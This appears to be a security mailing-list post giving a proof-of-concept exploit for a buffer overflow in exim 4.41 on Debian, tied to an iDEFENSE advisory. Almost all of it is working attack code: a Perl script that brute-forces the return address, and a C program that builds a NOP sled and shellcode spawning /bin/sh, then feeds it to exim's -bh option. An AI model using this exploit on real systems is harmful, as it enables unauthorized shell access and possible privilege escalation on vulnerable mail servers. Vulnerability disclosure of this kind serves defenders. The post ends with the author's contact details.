This proof-of-concept demonstrates the existence of the vulnerability reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
It has been tested against exim-4.41 under Debian GNU/Linux.
Note that setuid () is not included in the shellcode to avoid script-kidding.
My RET is 0xbffffae4, but fb.pl can brute-force it for you.
--------- fb.pl: ---------
#!/usr/bin/perl
$cnt = 0xbffffa10;
while (1) {
$hex = sprintf ("0x%x", $cnt);
$res = system ("./exploit $hex");
printf "$hex : $res\n";
$cnt += 4;
}--------- exploit.c: ---------
#define NOP 0x90 #define TAMBUF 368 #define INIC_SH 20 #include <stdlib.h>
int main (int argc, char **argv) {static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x73\x68\x58";
char buffer [TAMBUF + 1]; char cadena [TAMBUF + 5]; int cont; unsigned long ret = strtoul (argv[1], NULL, 16);
for (cont = 0; cont < TAMBUF / 4; cont++)
*( (long *) buffer + cont) = ret; for (cont = 0; cont < strlen (shellcode); cont++)
buffer [cont + INIC_SH] = shellcode [cont]; for (cont = 0; cont < INIC_SH; cont++)
buffer [cont] = NOP; buffer [TAMBUF] = 0;
printf ("RET = 0x%x\n", ret);
strcpy (cadena, "::%A");
strcat (cadena, buffer);
execl ("./exim", "./exim", "-bh", cadena, (char *) 0);
}------------------------------- Rafael San Miguel Carrasco Consultor Técnico - Jefe de Proyecto rafael.sanmiguel@xxxxxx + 34 660 856 647 + 34 902 464 546 Davinci Consulting - www.dvc.es Oficina Madrid - Parque empresarial Alvento Via de los Poblados 1 Edificio A 6ª planta 28033 Madrid -------------------------------
